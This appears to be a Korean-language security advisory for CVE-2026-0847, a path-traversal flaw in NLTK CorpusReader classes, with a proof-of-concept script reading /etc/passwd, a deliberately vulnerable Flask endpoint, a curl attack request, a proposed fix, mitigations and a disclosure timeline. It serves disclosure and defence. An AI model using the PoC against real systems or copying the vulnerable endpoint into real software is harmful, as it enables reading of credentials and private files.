
NLTK 3.9.2를 포함한 이하 버전의 취약점으로 인해 WordListCorpusReader, TaggedCorpusReader 및 BracketParseCorpusReader를 포함한 여러 CorpusReader 클래스에서 경로 탐색(path traversal)을 통한 임의 파일 읽기가 가능합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-0847 |
| 패키지 | nltk (Natural Language Toolkit) |
| 레지스트리 | PyPI |
| 영향받는 버전 | <= 3.9.2 |
| 취약점 유형 | CWE-22: 경로 탐색 |
| CVSS 점수 | 8.6 (높음) |
| 공격 벡터 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 기밀성 영향 | 높음 |
| 무결성 영향 | 낮음 |
| 가용성 영향 | 낮음 |
| 보고일 | 2025년 12월 4일 |
| CVE 게시일 | 2026년 3월 4일 |
| 지원 | Palo Alto Networks / Prisma AIRS |
| 상태 | 수정됨 |
NLTK 라이브러리의 여러 CorpusReader 클래스는 경로 정규화(path canonicalization), 허용 목록 검증, 샌드박스 제한을 적용하지 않고 파일 경로 인자를 허용합니다. 공격자가 말뭉치 파일 이름이나 파일 입력을 제어할 수 있는 경우 — 머신러닝 API, 업로드 기반 NLP 파이프라인, 챗봇 서비스에서 흔한 시나리오 — 조작된 경로를 제공하여 디렉터리 계층 구조를 탐색하고 서버의 임의 파일을 읽을 수 있습니다.
이 취약점은 특히 NLTK가 사용자 제어 파일 경로를 처리하는 네트워크 기반 환경에서 심각합니다. 악용에 인증이나 권한이 필요하지 않기 때문입니다.
세 클래스 모두 동일한 안전하지 않은 CorpusReader.open() 메서드를 상속하며, 이 메서드는 제공된 파일 식별자를 해석하고 읽기 전에 경로 제한을 전혀 수행하지 않습니다.
이 취약점을 성공적으로 악용하면 다음과 같은 결과가 발생할 수 있습니다:
/etc/passwd, /etc/shadow, /var/log/auth.log를 포함하여 NLTK를 실행하는 프로세스가 접근할 수 있는 모든 파일을 읽을 수 있습니다.~/.ssh/id_rsa), .env 파일, API 토큰, 클라우드 자격 증명 파일을 추출할 수 있습니다.이 정보는 교육 및 방어 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템을 대상으로 테스트하지 마십시오.
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
출력(일부 발췌):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
NLTK가 HTTP API를 통해 노출되는 현실적인 시나리오:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
공격자 요청:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
결과: 인증 없이 /etc/passwd의 전체 내용이 공격자에게 반환됩니다.
취약점은 CorpusReader.open()에서 발생합니다. 이 메서드는 FileSystemPathPointer.join()을 사용하여 구성된 루트 경로에 대해 제공된 fileid를 직접 해석하며, 다음 검사를 전혀 수행하지 않습니다:
..) 감지FileSystemPathPointer는 /로 초기화될 수 있으므로 파일 이름 인자를 제어하는 공격자는 전체 파일 시스템에 대한 무제한 읽기 접근 권한을 얻습니다.
연구자가 제안한 최소 수정 사항으로, CorpusReader.open() 내부에 적용됩니다:
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
업스트림 수정 PR은 다음 링크에서 확인할 수 있습니다: https://github.com/nltk/nltk/pull/3479
pip를 통한 업그레이드:
pip install --upgrade nltk
설치된 버전 확인:
python -c "import nltk; print(nltk.__version__)"
이 저장소는 CVE-2026-0847을 교육, 연구, 방어적 보안 목적으로만 문서화합니다. 개념 증명 코드와 기술 세부 정보는 개발자, 보안 엔지니어, 시스템 관리자가 이 취약점을 이해하고 평가하며 수정하는 데 도움을 주기 위해 제공됩니다.
이 정보를 명시적 승인 없이 시스템에 접근하는 데 사용하는 것은 불법이며 비윤리적입니다. 저자는 본 문서에 포함된 정보의 오용으로 인한 어떠한 책임도 지지 않습니다.
기여자 @mohitf070304
| 클래스 | 파일 | 상태 |
|---|
WordListCorpusReader | wordlist.py L1–L120 | 취약 |
TaggedCorpusReader | tagged.py L1–L140 | 취약 |
BracketParseCorpusReader | bracket_parse.py L1–L150 | 취약 |
| 동일한 기본 패턴을 사용하는 기타 클래스 | — | 광범위한 감사 대기 중 |
| 조치 | 세부 정보 |
|---|
| NLTK 업그레이드 | 공식 패치가 릴리스되면 3.9.2보다 높은 버전으로 업데이트합니다. |
| 입력 검증 | 모든 사용자 제공 파일 경로 값을 NLTK CorpusReader 클래스에 전달하기 전에 정화하고 검증합니다. |
| 사용자 제어 경로 회피 | 사용자 입력이 어떤 CorpusReader의 fileids 인자를 직간접적으로 제어하지 못하도록 합니다. |
| 최소 권한 | NLTK 기반 서비스를 말뭉치 디렉터리에만 읽기 접근이 제한된 제한된 OS 사용자 계정으로 실행합니다. |
| 컨테이너화 | 성공적인 탐색 공격의 피해 범위를 제한하도록 서비스를 Docker 컨테이너 또는 chroot 감옥에 격리합니다. |
| Ubuntu 패치 | 배포판 차원의 패키지 업데이트를 위해 Ubuntu 보안 권고를 모니터링합니다. |
| 날짜 | 이벤트 |
|---|
| 2025년 12월 4일 | 연구자 hyperps1이 huntr.dev에 취약점을 신고 |
| 2025년 12월 | huntr.dev를 통해 NLTK 유지관리자 팀에 통보 |
| 2026년 1월 | NLTK 유지관리자가 취약점을 검증; 연구자에게 공개 바운티 수여 |
| 2026년 1월 | CVE-2026-0847 지정 |
| 2026년 2월 | NLTK 유지관리자에게 게시 전 48시간 사전 경고 발송 |
| 2026년 3월 4일 | NVD와 huntr.dev에 CVE 게시 |
| 2026년 3월 5일 | NVD 레코드 최종 수정 |
| 리소스 | 링크 |
|---|